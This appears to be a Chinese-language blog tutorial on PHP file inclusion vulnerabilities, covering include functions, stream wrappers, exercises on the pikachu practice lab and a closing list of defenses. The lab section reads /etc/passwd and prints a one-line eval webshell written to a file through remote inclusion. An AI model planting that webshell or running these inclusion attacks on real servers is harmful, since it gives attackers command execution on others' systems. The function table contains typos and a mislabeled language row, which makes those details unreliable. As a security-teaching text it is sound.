文件包含

文件包含漏洞

一、漏洞描述

  • 定义:使用函数去包含任意文件的时候,当包含的文件来源过滤不严谨的时候,当存在包含恶意文件后,就可以通过这个恶意的文件来达到相应的目的。

  • 原理:程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这重文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

  • 常见文件包含函数:

    程序 函数
    ASP include() 、include_once()、require()、require_once()
    JSP/Servlet ava.io.file()、java.io.filereader()
    ASP include file、include virtual
    • include(): 执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
    • require0: 只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
    • include once0和 require once(: 若文件中代码已被包含则不会再次包含
  • 伪协议

    协议 解释
    file:// 访问本地文件系统
    http:// 访问 HTTP(s) 网址
    ftp:// 访问 FTP(s) URLs
    php:// 访问各个输入/输出流 (I/O streams)
    zlib:// 压缩流
    data:// 数据 (RFC 2397)
    glob:// 查找匹配的文件路径模式
    phar:// PHP归档
    ssh2:// Secure Shell 2
    rar:// RAR
    ogg:// 音频流
    expect:// 处理交互式的流

二、靶场实践

靶场采用pikachu靶场,建议采用本地自己安装的靶场,方便了解目录

1.本地文件包含
  • 利用条件:

    • php.ini 中 allow_url fopen=On (默认开启)

    • 用户参数可控且后台代码没有对包含的文件进行过滤

  • 读取本地的敏感信息,linux操作系统的/etc/passwd,如下图所示

  • 上传图片马,在读取本地的图片马,如下图所示

    1. 先上传一张图片马

      <?php phpinfo();?>
      
    2. 利用文件包含读取图片马

2.远程文件包含
  • 利用条件

    • php.ini 中 allow_url_fopen=On (默认开启) 和 allow_url_include=Off (默认关闭) 要开启

    • 用户参数可控且后台代码没有对包含的文件进行过滤

  • 远程文件包含漏洞

  • 远程文件包含写入木马等操作

    1. 先在服务器写入一段木马

      <?php file_put_contents("muma.txt",'<?php @eval($_GET["code"]);?>');?>
      
    2. 利用文件包含读取远程的一段木马,执行后页面是没有响应的,注意,靶场环境中需要给写的权限chmod 777,否则无法创建木马

    3. 执行写入的木马

三、漏洞防御

  • 严格判断包含中的参数是否外部可控。是文件包含漏洞利用成功与否的关键点
  • 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符
  • 包含文件验证:验证被包含的文件是否是白名单中的一员
  • 尽量不要使用动态包含
  • 设置 allow_url_includeoff
posted @ 2023-08-17 11:17  凉城厌心  阅读(144)  评论(0编辑  收藏  举报